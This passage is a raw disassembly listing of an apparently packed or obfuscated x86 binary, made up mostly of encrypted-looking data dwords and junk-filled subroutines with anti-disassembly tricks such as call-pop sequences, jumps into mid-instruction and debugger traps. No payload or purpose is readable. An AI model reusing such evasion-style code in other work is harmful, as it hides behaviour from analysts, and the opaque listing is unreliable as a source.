103F1697h, 0B70F5E81h dd 5BE66F0h, 5810F02h, 0B8000000h, 4D29C998h, 66D38B66h dd 374DD781h, 8C1BB966h, 50606160h, 8D0Fh, 0F5F0000h, 681h dd 33D68100h, 616BF86Ah, 4EC5CE81h, 0A4B113EFh, 0FE9h dd 7BA2A100h, 73D2E8Fh, 53A0A997h, 98357A6Ah, 0FF08B66h dd 830FC2BFh, 1, 8AD781FCh, 8B1CCDCDh, 870FF1h, 0E9000000h dd 10h, 0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch, 0DE9h dd 0CC8B7F00h, 510994h, 99186C6Dh, 0F38B0535h, 19830Fh dd 14E90000h, 66000000h, 0B9244F60h, 7D517CEDh, 1E85BB39h dd 3C7B7912h, 60C44DDCh, 7642D881h, 0BE96B6Ah, 9B000000h dd 126ADB9Ch, 0DB581D2Dh, 66615D26h, 97A3F381h, 1850Fh dd 0FF50000h, 68Eh, 2CE78100h, 0E8603C64h, 10h, 5CF241A1h dd 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 6CD98166h, 0F535A43h dd 68Dh, 0FBD18100h, 5E491400h, 0DE9h, 0E86D0400h, 0AAE95620h dd 0FF9CDF80h, 0FE8818Ch, 8D000000h, 0D97379DAh, 73C20427h dd 0E8EDAD78h, 0E86098A0h, 0Bh, 2B12D040h, 462BEC3Ch, 5EA9E1B8h dd 9E9h, 0E7E91D00h, 6016DEAAh, 5961F61Fh, 82EB8166h, 0FF48AD7h dd 587h, 9426BF00h, 0C8816DBFh, 3419D109h, 10E9h, 0B28C7A00h dd 5F363211h, 70B4A164h, 0C70F21C3h, 0F5D18BECh, 6E9h dd 2856700h, 0FBE1975h, 0D38BF1B7h, 0C631EE81h, 8B666D8Dh dd 13E9CFh, 854B0000h, 0BA3DB36Eh, 7606F605h, 0E29622F3h dd 0EDBA55D1h, 0BBD08B3Fh, 11AA4A32h, 28C7DA81h, 0B70F42BBh dd 0CE8166F8h, 0E3803A38h, 84B86062h, 6128248Dh, 2BA6657h dd 0BF505FFEh, 764B6042h, 68B0F58h, 60000000h, 616090B3h dd 68BA6661h, 0DD780B6h, 0ADB7AAB8h, 118B0F48h, 0E9000000h dd 0Ch, 0F7E537A6h, 0B292F890h, 37A02DE7h, 11E8h, 6B162B00h dd 526033F9h, 0FAD52663h, 0C1521E45h, 8A0FDACEh, 2, 0F5EF6B5h dd 0C68BFFBFh, 0AE8h, 54B1EE00h, 0E261C565h, 56C8EF22h dd 5AF3B70Fh, 6058535Fh, 61FCE780h, 6870F53h, 81000000h dd 127830C7h, 0DE85F51h, 84000000h, 7F99A25Fh, 0B5B3E6D2h dd 0D2DF96A9h, 59D0B70Fh, 11E9h, 5B361600h, 0AF2057A7h dd 0A938F041h, 3298DD53h, 81561EB7h, 81C037C3h, 80565858h dd 665FEAC1h, 0E9BDF4B9h, 11h, 0DEDE62DAh, 66ACFA62h, 1F22F2B7h dd 6DA5ED58h, 88F0FFFh, 0F000000h, 280h, 66E68A00h, 66E652BBh dd 8139F8BEh, 850BC1C1h, 0BCDABA01h, 0DF810969h, 224D2158h dd 6E9h, 27665C00h, 662A470Bh, 51FD7EB8h, 0E9616060h, 12h dd 113C9EA9h, 6EF9FC94h, 5693C59Fh, 9895E7AAh, 59617B7Ah dd 8E9D88Bh, 0B8000000h, 858D444h, 66C8558Fh, 66E891B8h dd 0DB81F08Bh, 144603C1h, 38CF8166h, 2ABF66A5h, 1850F6Ch dd 0F5000000h, 0BBCBB70Fh, 5A22F1E7h, 0FE9h, 0CA83AA00h dd 331836D5h, 0E4548A51h, 0C305C936h, 960ABB66h, 0EE9h dd 0DB8E9800h, 91E844CCh, 7B8CF9FAh, 0F668441h, 683h, 59566000h dd 0E961F18Bh, 0Ch, 7A823285h, 3A7B4F1Dh, 0BAE66B65h, 2D69BB66h dd 11E9h, 0E5866900h, 28FAA690h, 61A569CDh, 0F3F26EC2h dd 81F5A9FEh, 559FE2C2h, 8157B53Bh, 6BC184DEh, 187DB921h dd 0D0815549h, 0D57ECBCh, 0C88B66F5h, 0D8BF0F60h, 10890F61h dd 0E9000000h, 0Bh, 0FBA86607h, 0D4F7D963h, 668A9F2Dh dd 0C6A8EA81h, 1B91EB81h, 870F1855h, 6, 8B0Fh, 10E90000h dd 0FF000000h, 14721E65h, 0E1FEFB75h, 0AA7107B7h, 8BC775B8h dd 6870FC2h, 81000000h, 0C26709EBh, 0E9D18B4Dh, 10h, 7CFDC8ECh dd 0B2FA50C1h, 0F7B5399Fh, 11BD3660h, 13880Fh, 800F0000h dd 0Dh, 7E8h, 0A13EC100h, 604A628Eh, 91BB665Ah, 0B7FE8AF1h dd 5AFC57B7h, 66DE8B66h, 0B70FCA8Bh, 80F2BAF0h, 870F524Eh dd 5, 174B36B8h, 14E958h, 10660000h, 150BED0Eh, 4B8F5ED3h dd 591BC754h, 0B1AF10CDh, 82BE1BABh, 0E8533863h, 0Dh, 9A766FC7h dd 0AC476DBDh, 0DBFF811Dh, 816658AFh, 0E92624EBh, 5, 0E0165E48h dd 0E9C78B2Eh, 11h, 0F5AACCA1h, 87BF8502h, 0FD6642F7h dd 2DF9DDFAh, 870FFCF2h, 2, 0DE8BD08Bh, 1B8B0Fh, 13E80000h dd 31000000h, 37662C3Bh, 2D0C3D25h, 0A55A167h, 0F04DD021h dd 59531974h, 0E9A4B05Bh, 0Dh, 0F950D648h, 0B4EF9E5Ah dd 1E293C96h, 8E9EEh, 33EF0000h, 0AE6E069Eh, 0FA8A5B1Dh dd 0DE8h, 0C219E100h, 57295776h, 45E4F962h, 0EE817358h dd 52962FF1h, 0CE95Fh, 88930000h, 666597B3h, 37C6439Eh dd 0F5F86105h, 0BAE38AF8h, 76027F15h, 81C8BF0Fh, 64CA52CEh dd 12E903h, 76280000h, 2346A49Dh, 0F9E168DDh, 0B5B86A19h dd 0B926EFA0h, 5C7DC081h, 8B664C3Ah, 78A0FF7h, 53000000h dd 553CA8BAh, 840F5F48h, 5, 0C1D08166h, 283BB98Bh, 0BE663423h dd 850F34B3h, 3, 0B2D68B66h, 80E0806Ah, 4ED5B966h, 6E9h dd 0BAA56800h, 0B5DB39DDh, 3830FC3h, 66000000h, 8B50DA8Bh dd 49B559FAh, 10E8h, 7632900h, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh dd 14E907h, 0EBEE0000h, 0C3966507h, 13C8526Fh, 0EF2F45D5h dd 0CDEE79FFh, 6659755Fh, 66A4ABBEh, 0F81513BAh, 296295BEh dd 48F0F0Ah, 51000000h, 665FE58Ah, 0ACBBF98Bh, 0F2B2480h dd 1887h, 13E900h, 60E40000h, 0A0F657DDh, 0B464C426h, 0D5459B75h dd 2DB15967h, 0F18B667Ah, 0FE960h, 0D3560000h, 3B590111h dd 108712B4h, 534381B9h, 0FCE811Fh, 616368FBh, 0CE9h, 0E7DA3B00h dd 0CA438285h, 3FCA0D95h, 0C181F524h, 5267CFB2h, 992448BBh dd 12E932h, 738D0000h, 0A5C3D42Dh, 0BB016363h, 1585200Dh dd 0E2A520EDh, 890FECB3h, 0 dd 1680BB66h, 13E8h, 0BB9BA300h, 665A310Fh, 1170B245h dd 998D13E0h, 9B169B10h, 0C8DA805Fh, 11E8h, 2EEAC600h dd 0E0598472h, 0B185F4CBh, 0E23BFFA1h, 0C2814984h, 30BA07C0h dd 0E8F3B759h, 6, 16AF1F4Fh, 0BF0FE607h, 8A0F59C0h, 5 dd 0FFE18166h, 505660EBh, 0DE80595Bh, 0CE96163h, 8C000000h dd 950FDFA9h, 93D2FA70h, 0F5009B5h, 0B70FCFB7h, 0FA8B66DBh dd 66FBB70Fh, 50D7AAB8h, 0EE9h, 4113F400h, 8DECFEECh, 15520AECh dd 59934614h, 0EE8h, 0FE06AE00h, 7AC95546h, 27C1DD12h dd 0BB06537Ch, 5D718F5Bh, 0B8F0F58h, 0F000000h, 58Fh, 0ABF2B900h dd 12E952D8h, 0AD000000h, 91D96520h, 320865D9h, 0DCCEEB47h dd 0DD1C1EA7h, 0C2B70FFBh, 0AE57B866h, 13890Fh, 7E80000h dd 9000000h, 542EB427h, 0EE813D38h, 12EF9333h, 0ECDA805Ah dd 0CE9h, 1EA54400h, 0C8310D32h, 0E33F9F08h, 0F68166F3h dd 0BB66355Fh, 0D0806B6Dh, 0E7815708h, 77540E0h, 11830F5Ah dd 0E9000000h, 0Ch, 0A70BC7C4h, 83DEE107h, 61F0001Eh, 7E8h dd 0F9234200h, 0ABB545BBh, 58AFB457h, 0DE95Ah, 59B90000h dd 0A42D8383h, 0D25A0556h, 8B8061B3h, 1EBB66F2h, 138A0FC6h dd 60000000h, 890Fh, 6E90000h, 5D000000h, 6359D99Dh, 9ABF61F7h dd 606E7930h, 82472AB9h, 18A0F3Fh, 0F5000000h, 7E961h dd 0D89D0000h, 0EAA2D60Ah, 0BAD8B2E2h, 2E6DBE06h, 840FFAB0h dd 13h, 7E8h, 44BC0200h, 87A78BD8h, 820Fh, 815E0000h, 832554D0h dd 50B96644h, 0F1EB647h, 8166FAB7h, 804ADBE1h, 0D5B8CFF0h dd 60285654h, 1F8AE981h, 10E81318h, 90000000h, 30A5BE9Ch dd 20113043h, 51CE46D9h, 0B0EF295Fh, 60615989h, 0EE9h dd 0E3717E00h, 4196037Dh, 0AA1B6219h, 0F89DF6CAh, 0BA666061h dd 8166E3A3h, 61F77EEFh, 0AE8h, 0CB382200h, 304962Ch, 5ED33FCFh dd 18F38166h, 0B70FFC7Ch, 13E9D1h, 78A60000h, 0ABDE39E6h dd 0ED44EFEEh, 2F3DC619h, 0F9A1857h, 80BBB426h, 76BFCFCEh dd 0E9333CFCh, 13h, 59F0A8E5h, 7F551C4h, 0E656D71Fh, 7FCBD97Fh dd 52C22014h, 0F85BF08Ah, 798FF9BAh, 0AC28BB4Eh, 14E80658h dd 8D000000h, 810C515Dh, 29782F58h, 0CF9F1842h, 2675C11Bh dd 66F40DC7h, 0B05BF78Bh, 0E6816626h, 0B9661634h, 8A604942h dd 61F28BCBh, 850F90B1h, 1, 3850FF5h, 0F000000h, 0BE60F2BFh dd 5524A897h, 148052BAh, 0BF0F6145h, 80FB8BD7h, 80F9B1EDh dd 0E0810FC8h, 3F64B972h, 0E9E6C980h, 0Ch, 450039E0h, 6F729BACh dd 0AB9749ABh, 0B62A87BEh, 12E877h, 51680000h, 0C1C92AD1h dd 4622C31Bh, 0D08C8001h, 1419FBCEh, 8D0F5EF9h, 0Ah, 5E9h dd 5F14AC00h, 10E81AF2h, 88000000h, 0D343015Bh, 66E0DE2Ch dd 0AE388E3h, 0E82CAE4Fh, 0Fh, 66ADD3D2h, 81D1F6D6h, 4325452Bh dd 0FF0A417h, 585ACFB7h, 60FE8BFCh, 0FE9h, 0F0C21B00h dd 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 0FE961h, 23510000h dd 62E0BA56h, 0BA4109Ch, 1CD28DA2h, 8A60FC31h, 0BE61FCC5h dd 76BD578Eh, 0CABB66F8h, 5D13BBD0h, 0C9802C10h, 14E9B8h dd 0E13A0000h, 0FB20231Bh, 29052FBBh, 0B1EE9535h, 61C56554h dd 816622E2h, 81DAA6EFh, 0BD8A15C1h, 0FBC7813Eh, 8B52FF2Dh dd 0A6D980D6h, 138DE881h, 0BA666FC5h, 816095E3h, 2B820BE1h dd 1EF48077h, 0D1816661h, 81668990h, 0BEBF86E6h, 600E4A55h dd 0E9F18B66h, 0Ah, 0F6F05F62h, 0D391F37Bh, 0DE8BE89Ah dd 12E9h, 0E1443300h, 0DD645BFDh, 24788433h, 0D1878980h dd 535DED00h, 7E9h, 734F8500h, 0D2434AD7h, 6B8DBB5Fh, 0F601517h dd 89h, 61F38B00h, 0FCC88166h, 1AD3B9D5h, 57B45BB5h, 13E860h dd 48150000h, 0B15CAA7Dh, 3FF519FAh, 0A5DFDFF9h, 0DE7DD447h dd 0CE947h, 24D80000h, 77552CE0h, 0BF2DF4B3h, 0F5A11BFh dd 6061C0BFh, 886BA66h, 5820Fh, 4B90000h, 615D93EBh, 0E9606160h dd 5, 0D2B5D2BCh, 13E994h, 4CC40000h, 84C9A72Dh, 51ACDBAEh dd 0A0298CDh, 0D2AD27E8h, 0FCF5617Ch, 9CCF8166h, 0B8B86689h dd 0ACD980B5h, 0FF18B66h, 680h, 2FDF8100h, 800489F6h, 860F7DE4h dd 2, 890FD18Bh, 0 ; --------------------------------------------------------------------------- stc mov ax, cx jnz loc_614847 jmp loc_614847 ; --------------------------------------------------------------------------- db 4Ah dd 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h db 70h, 0C8h, 1 ; --------------------------------------------------------------------------- loc_614847: ; CODE XREF: sdfs____:00614828j ; sdfs____:0061482Ej call near ptr sub_614851 mov ds:0F9C712F4h, al ; =============== S U B R O U T I N E ======================================= sub_614851 proc far ; CODE XREF: sdfs____:loc_614847p mov bl, dl pop edi mov dl, 8Fh jbe loc_61485E push ebx pop esi loc_61485E: ; CODE XREF: sub_614851+5j sub ah, 0E9h call sub_614875 outsb dec edx add al, 0C7h retf sub_614851 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Dh dd 0A25769CFh, 4F30E161h db 0F4h ; =============== S U B R O U T I N E ======================================= sub_614875 proc near ; CODE XREF: sub_614851+10p ; FUNCTION CHUNK AT 006148D9 SIZE 00000039 BYTES pusha mov esi, 4960BABFh jmp loc_61488D ; --------------------------------------------------------------------------- dd 47002B66h, 6EDE3209h, 699259F6h db 3Ch ; --------------------------------------------------------------------------- loc_61488D: ; CODE XREF: sub_614875+6j popa pop edi mov di, 0E076h mov bx, cx push edi mov ax, 29E4h pop ebx mov cx, 0E13Eh jmp loc_6148AE ; --------------------------------------------------------------------------- push ss scasb adc eax, 13B621F8h or eax, ebx loc_6148AE: ; CODE XREF: sub_614875+2Bj jns loc_6148D9 call sub_6148C3 mov ch, 2Bh imul ebx, [ebx+30h], 5F254979h popf sub_614875 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_6148C3 proc near ; CODE XREF: sub_614875+3Fp ; sub_614875+93j jmp sub_6148D8 sub_6148C3 endp ; --------------------------------------------------------------------------- dd 6E4E9AE1h, 5E638A26h, 0BFAB359Fh, 4811682Dh ; =============== S U B R O U T I N E ======================================= sub_6148D8 proc near ; CODE XREF: sub_6148C3j pop edx sub_6148D8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_614875 loc_6148D9: ; CODE XREF: sub_614875:loc_6148AEj push ecx mov cx, 3025h pop edx mov ch, dh pusha mov dx, cx movzx eax, dx popa push ecx mov dx, 3EBAh pop edx movsx esi, ax mov di, dx mov cl, al jg loc_614919 call sub_614916 cmp [esi-6ACC8379h], ch jl short sub_6148C3 aad 63h adc eax, [esi+7EEA76FFh] ; END OF FUNCTION CHUNK FOR sub_614875 ; --------------------------------------------------------------------------- dw 768Ch db 29h, 40h ; =============== S U B R O U T I N E ======================================= sub_614916 proc near ; CODE XREF: sub_614875+88p mov edi, edx pop esi loc_614919: ; CODE XREF: sub_614875+82j mov di, dx jle loc_614929 jno loc_614929 clc loc_614929: ; CODE XREF: sub_614916+6j ; sub_614916+Cj mov esi, 119780EBh mov ax, di mov si, bx ja loc_61493F xor bx, 0F8D4h loc_61493F: ; CODE XREF: sub_614916+1Ej mov bx, cx clc mov bh, al push eax pop edx push edx movzx ebx, ax pop ecx call near ptr loc_61495A+1 int 3 ; Trap to Debugger outsb xchg eax, esp push ebx push ds adc [esi], dl mov dl, 23h loc_61495A: ; CODE XREF: sub_614916+36p sub [ecx+0Fh], edx sub_614916 endp ; sp-analysis failed mov es, word ptr [eax] ; --------------------------------------------------------------------------- db 0 dd 58580000h, 0FF08B66h, 588h, 0D7816600h, 0BF0F4511h dd 0DE8FEh, 0C580000h, 0B8403E7Eh, 95E1ACCBh, 816048F2h dd 694B1FC2h, 8B66585Dh, 0BE9DAh, 0C26D0000h, 0E2B09C02h dd 65FB2A1Bh, 0C0BF5002h, 5E096AE4h, 8E9h, 3B33FA00h, 0BFE2ACF6h dd 0E834B31Ah, 5, 370F11B9h, 13E984h, 0E9FB0000h, 9657FDC5h dd 0A3CF97CDh, 5E379EAh, 98529F45h, 850F5EC1h, 0Ah, 48E0Fh dd 0BA660000h, 8160E9CDh, 4173BFD3h, 0CF816652h, 0F61B7F9h dd 0C880C6B7h, 66F38B0Dh, 10E9C68Bh, 39000000h, 0AD90C09h dd 0C7FA9F1Dh, 21179651h, 0E882C85Bh, 12h, 349AC76Dh, 58671E40h dd 0ED76B825h, 13409F43h, 0B9573EEDh, 6BC518F1h, 0F605F5Ah dd 681h, 890F00h, 61000000h, 238B0Fh, 11E80000h, 9B000000h dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 1659B264h, 7E9h, 9A69D800h dd 6FF5C946h, 6830F5Ah, 81000000h, 6A1171DBh, 1AE08126h dd 66006B7Eh, 0DE8AF08Bh, 810Fh, 0F38A0000h, 8B59F850h dd 0ACBE66D6h, 8B606085h, 0D08166D7h, 6661E7BDh, 2F26C681h dd 0D5B86661h, 5850F80h, 51000000h, 598EE580h, 0B4C08166h dd 96B96630h, 0F3816697h, 860FE25Eh, 3, 66D98B66h, 0BF33E381h dd 3890Fh, 8B660000h, 0D38B66CFh, 810F7AB2h, 19h, 14E9h dd 0DE952500h, 0D7F9076Fh, 43A69B40h, 6892DE0Eh, 1C77B88Ch dd 11E8E4h, 672D0000h, 210A55A1h, 74F04DD0h, 0EBC69F19h dd 0F6BF89Fh, 281h, 5B616000h, 0EE8h, 6117E00h, 0CC9857AFh dd 0D50490F3h, 0FECC100h, 583h, 0EB816600h, 0B058B198h dd 0D98160D2h, 27E140B9h, 34C78166h, 9E961BEh, 0BD000000h dd 5B04AE17h, 0E2A9D94Dh, 0D18150F9h, 3DB7BFC0h, 2A72BF5Ah dd 8F0F4371h, 1, 0E82CB3F9h, 0Eh, 8A6472CEh, 0EE08E1C9h dd 802C9DAEh, 0BB596CC1h, 4BA3B0AAh, 0EE9h, 0A49A1700h dd 5E96F615h, 9AB44394h, 0B984D123h, 613BDA89h, 8D0FD68Bh dd 1Bh, 158F0Fh, 10E90000h, 0CD000000h, 4D7DBD2Ah, 60FE183Bh dd 0C4ABBCB7h, 60DC6B4Bh, 66F0BF0Fh, 61BBADBFh, 0E960D18Ah dd 0Dh, 1E9FA151h, 3E500584h, 90D87322h, 61D88B73h, 0EE95856h dd 87000000h, 0DBA52B21h, 0AF2CD23Dh, 9A4A1CDDh, 0C1BF0FD9h dd 0DE9h, 3AF62100h, 66ADD3D2h, 81D1F6D6h, 8B66452Bh, 0C582B9C7h dd 0B70F0F6Eh, 9E9D3h, 0E3B30000h, 51E660C7h, 8B063DA7h dd 1EE081D1h, 0F284E2Eh, 1382h, 0EE900h, 18EB0000h, 6FCF33CEh dd 0FD345D2Eh, 0A83BBDB0h, 53D1B70Fh, 8ADE8166h, 81665B9Eh dd 0FF1CCF1h, 148Ch, 0FE900h, 8D570000h, 9061E3B5h, 7C2514A2h dd 2186FA9h, 0CF8B668Ah, 66F38B66h, 11E9D38Bh, 6B000000h dd 27C437CFh, 7780D209h, 0F2F34674h, 0D5B1D146h, 5870Fh dd 81660000h, 0E91788F1h, 12h, 0BE6DAD8h, 0FCC4FE94h, 0AD2BE909h dd 2576E00Eh, 0BA662836h, 81667F2Dh, 5292C9F0h, 6E9h, 0ECAA2D00h dd 5FF05199h, 0CE9h, 0C040F600h, 29703A7Ch, 1B891C8Ah dd 0BCC7810Bh, 0E9447C4Ch, 0Fh, 0B7058590h, 8C781C4Bh dd 0C8CE1F28h, 0E9A9FF9Fh, 0Fh, 7E16E63h, 13D61DCBh, 0EC9F3F2Bh dd 0BB38DF3Ch, 5E0AA5ADh, 820Fh, 0CE8B0000h, 2CE662BAh dd 0C68B662Bh, 7BB6650h, 66605845h, 8B66C78Bh, 890F61D9h dd 0Bh, 58B0Fh, 81660000h, 663B27C7h, 2E59CE81h, 11E9h dd 0D7217B00h, 0C8AE73F8h, 65B218FFh, 49155953h, 0DE8A5969h dd 8E9h, 0DBECCC00h, 1673609Ah, 3840FE3h, 66000000h, 0B70FCF8Bh dd 5E9CEh, 627D0000h, 0E87003D7h, 0Fh, 0FDB7A77Bh, 0BEBEC7C1h dd 4D77EFD7h, 0E9E6A43Dh, 9, 0A873F2EEh, 83EA6D9Eh, 81665A8Ah dd 0B927A2CFh, 3C6C70CBh, 0FBBF0FF9h, 0DE9h, 1E9AF00h dd 0B80DE3C1h, 0DD9CC50Eh, 8166907Bh, 8149FCEAh, 84D751CFh dd 0AE95Ah, 54470000h, 0E2AF2B23h, 5C276170h, 6800Fh, 0D7810000h dd 58212825h, 68B0Fh, 0E3810000h, 2411A67Ah, 11E9h, 455CFE00h dd 60EBD100h, 0A07A079Ah, 6653DC3Ah, 0D68BE32Ch, 0A3EE8166h dd 0F515274h, 585BC1B7h, 13E9h, 0F4B03E00h, 0DD37AE68h dd 2F44A154h, 5ED28734h, 0E1286E78h, 0F9F86056h, 8A535E61h dd 0BE958C3h, 0B6000000h, 6A4B655Ah, 1D1EB6A2h, 12E913CBh dd 0FE000000h, 44003263h, 21BCB5DCh, 7B5528D2h, 0AAB7AEE8h dd 0D781664Eh, 830F6738h, 15h, 0F850Fh, 0AE90000h, 7A000000h dd 0DD303F76h, 57AEC827h, 0FD8A6011h, 6061CE8Ah, 4CB96660h dd 12E8BBh, 2FFD0000h, 0C5670197h, 1607866Bh, 0B7A50F6Fh dd 0FD75EEBh, 1CB4615Eh, 0F3BF0F61h, 6773E981h, 800F0850h dd 0Bh, 5830Fh, 81660000h, 523BFDC0h, 0B95BEF8Ah, 251863F2h dd 810F5E56h, 6, 510DB260h, 0F516158h, 8B5AC6B7h, 3850FCAh dd 66000000h, 10E9F98Bh, 3C000000h, 0B8462BECh, 571AA9E1h dd 1A0CB4DDh, 8BFE015Ch, 8B66F5F7h, 0DA8B66FAh, 71F0B860h dd 81661107h, 61E2C6DEh, 66C78B66h, 0F47EAB9h, 189h, 8B0FF900h dd 6, 8F9AC881h, 0B70F454Bh, 7E853C3h, 0FF000000h, 0ABD99F92h dd 880FD583h, 0 ; --------------------------------------------------------------------------- pop ebx pop edi pusha push eax jmp loc_614F5D ; --------------------------------------------------------------------------- db 3Fh, 83h, 89h dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h db 69h ; --------------------------------------------------------------------------- loc_614F5D: ; CODE XREF: sdfs____:00614F44j pop ebx call sub_614F6A add ecx, ebp and ah, [eax-55h] js short near ptr dword_614960+5BFh ; =============== S U B R O U T I N E ======================================= sub_614F6A proc near ; CODE XREF: sdfs____:00614F5Ep clc pop ecx popa call sub_614F7B stosb popf mov al, 9Dh into fcomp5 st(2) dec edi push es sub_614F6A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_614F7B proc near ; CODE XREF: sub_614F6A+3p clc pop ebx pusha pusha cmc call sub_614F8F fsub qword ptr [edi-3DCE78D7h] sahf xchg ebp, esp sub_614F7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_614F8F proc near ; CODE XREF: sub_614F7B+5p pop edi popa mov si, 0BCFFh popa mov si, 0C847h mov si, 72D5h mov edx, 74B2F418h stc mov esi, 79FCC8F1h jnz loc_614FB0 cld loc_614FB0: ; CODE XREF: sub_614F8F+1Aj adc edx, 5662A45Fh pusha cld mov dh, 0DFh popa push ecx jmp loc_614FC8 ; --------------------------------------------------------------------------- mov eax, ds:0B10F3BCAh mov ebp, [esi] loc_614FC8: ; CODE XREF: sub_614F8F+2Dj pop ecx call near ptr loc_614FDA+4 or eax, 827FC900h test [edi], edi dec ecx mov bl, 86h lahf lodsd loc_614FDA: ; CODE XREF: sub_614F8F+3Ap mov edx, 56D57D95h sub_614F8F endp ; sp-analysis failed jmp loc_614FEB ; --------------------------------------------------------------------------- mov edx, 0C0D6F8C4h loc_614FE9: ; CODE XREF: sdfs____:0061502Bj mov dl, 3Dh loc_614FEB: ; CODE XREF: sdfs____:00614FDFj pop edx pop edx mov bx, ax push ecx jmp loc_615001 ; --------------------------------------------------------------------------- dw 1B27h dd 0E03203F9h, 8436E96Ah ; --------------------------------------------------------------------------- pop ebp loc_615001: ; CODE XREF: sdfs____:00614FF1j pop edx mov esi, 23F63CE3h and edi, 68B663EAh mov di, bx mov bh, dh push esi sub cx, 4DB0h pop ecx stc jmp loc_61502E ; --------------------------------------------------------------------------- cmp bl, [esi-30h] pusha or [ebp+22h], edx pop eax xchg eax, esi js short loc_6150A0 lodsd jmp short loc_614FE9 ; --------------------------------------------------------------------------- pop ds loc_61502E: ; CODE XREF: sdfs____:0061501Aj mov esi, 3239FA41h jmp loc_61503D ; --------------------------------------------------------------------------- dd 0ACA70A2Bh db 7Dh ; --------------------------------------------------------------------------- loc_61503D: ; CODE XREF: sdfs____:00615033j jmp loc_61504A ; --------------------------------------------------------------------------- dw 0C618h dd 0F0F798Eh db 45h, 0D1h ; --------------------------------------------------------------------------- loc_61504A: ; CODE XREF: sdfs____:loc_61503Dj call near ptr loc_615056+1 mov ds, word ptr ds:0D9EC8F7h[ebp] loc_615056: ; CODE XREF: sdfs____:loc_61504Ap lds ebx, [eax-4] jl loc_61506B jmp loc_61506B ; --------------------------------------------------------------------------- dd 452EC731h db 8Ah, 0C0h db 0E6h ; --------------------------------------------------------------------------- loc_61506B: ; CODE XREF: sdfs____:00615059j ; sdfs____:0061505Fj mov cx, 0AFBh movsx esi, bx jmp loc_61508B ; --------------------------------------------------------------------------- db 0Fh dd 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh ; --------------------------------------------------------------------------- sbb bl, [eax+5Eh] loc_61508B: ; CODE XREF: sdfs____:00615072j mov cl, 0A9h mov esi, ecx pusha pusha cld sub dh, 20h popa jmp loc_6150A8 ; --------------------------------------------------------------------------- db 38h dd 0C6C929E1h ; --------------------------------------------------------------------------- loc_6150A0: ; CODE XREF: sdfs____:00615028j in eax, dx xchg eax, ebx mov esi, 0A5DAA152h ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- loc_6150A8: ; CODE XREF: sdfs____:00615096j popa adc bl, 2Ah stc jz loc_6150B5 mov edx, ecx loc_6150B5: ; CODE XREF: sdfs____:006150ADj mov esi, edx loc_6150B7: ; CODE XREF: sdfs____:006150D4j and ah, 69h jo $+6 jns loc_6150D6 jmp loc_6150D6 ; --------------------------------------------------------------------------- db 31h dd 7B367623h, 1DA9EA33h ; --------------------------------------------------------------------------- jl short loc_6150B7 loc_6150D6: ; CODE XREF: sdfs____:006150C0j ; sdfs____:006150C6j stc sbb bx, 464Ah clc or ch, 76h jmp loc_6150EB ; --------------------------------------------------------------------------- db 67h, 0E5h, 0E7h db 96h, 5Dh, 2Ch ; --------------------------------------------------------------------------- loc_6150EB: ; CODE XREF: sdfs____:006150E0j sub ch, 0FCh jnz loc_6150F7 push eax clc pop ecx loc_6150F7: ; CODE XREF: sdfs____:006150EEj jmp loc_61510A ; --------------------------------------------------------------------------- dd 0B9E47D0Ah, 7A8B22Dh, 0B5F0F4D8h db 68h, 89h ; --------------------------------------------------------------------------- loc_61510A: ; CODE XREF: sdfs____:loc_6150F7j mov cx, ax mov dx, 70F6h mov ch, 28h push edx pusha cld mov dx, si popa pop edx mov edx, eax mov ecx, 6C0B78D1h movzx edx, ax sbb esi, 1F9E51E3h jmp loc_615135 ; --------------------------------------------------------------------------- dd 0C924DF98h db 0Bh ; --------------------------------------------------------------------------- loc_615135: ; CODE XREF: sdfs____:0061512Bj and bx, 7924h mov esi, 5DDA8CFh mov di, 4A82h movzx ebx, di jb loc_61514F movzx eax, bx loc_61514F: ; CODE XREF: sdfs____:00615146j jnp loc_615156 cmc loc_615156: ; CODE XREF: sdfs____:loc_61514Fj jle loc_61515D stc loc_61515D: ; CODE XREF: sdfs____:loc_615156j mov edi, 119F1Fh mov edi, 45DA54h mov ebx, edx mov eax, 57127E5Bh jno $+6 jge loc_615192 jmp loc_615192 ; --------------------------------------------------------------------------- mov edx, 0F760A78h retn 695Ch ; --------------------------------------------------------------------------- push ss dec ecx push esp std nop db 2Eh cmp bh, al inc ecx icebp loc_615192: ; CODE XREF: sdfs____:00615174j ; sdfs____:0061517Aj mov al, 2Dh pusha mov ebx, eax popa jmp loc_6151A9 ; --------------------------------------------------------------------------- rol byte ptr [ebx], 1 mov ebx, 33E1A2D7h push 0C3A563E7h loc_6151A9: ; CODE XREF: sdfs____:00615198j ; sdfs____:0061520Dj sbb bl, 6Ah jmp loc_6151BE ; --------------------------------------------------------------------------- db 0A7h, 4Ah, 33h dd 6046A30Bh, 169F296Fh db 77h, 0BAh ; --------------------------------------------------------------------------- loc_6151BE: ; CODE XREF: sdfs____:006151ACj mov cx, 164h and cx, 0D43Eh mov ebx, 3D7EA327h mov ax, cx jle loc_6151D9 push edx push ebx pop edx pop edx loc_6151D9: ; CODE XREF: sdfs____:006151CFj mov al, 0FDh pusha mov ax, 7E59h jmp loc_6151ED ; --------------------------------------------------------------------------- db 5Ah, 30h, 0EEh dd 149E1166h db 31h ; --------------------------------------------------------------------------- loc_6151ED: ; CODE XREF: sdfs____:006151E0j popa pusha call near ptr loc_6151F6+0Ah sal dword ptr [eax], cl loc_6151F6: ; CODE XREF: sdfs____:006151EFp adc dword ptr [esp+ebp*2-44DC9BEFh], 8B1231B7h icebp pop ecx popa mov bl, ch call near ptr loc_61520F+1 fldenv byte ptr [esi] jnb short near ptr loc_6151A9+2 loc_61520F: ; CODE XREF: sdfs____:00615206p xor esp, [eax+66h] mov esi, ecx popa pop ebx cmc movzx ecx, cx clc pusha adc si, 1240h clc popa mov cx, 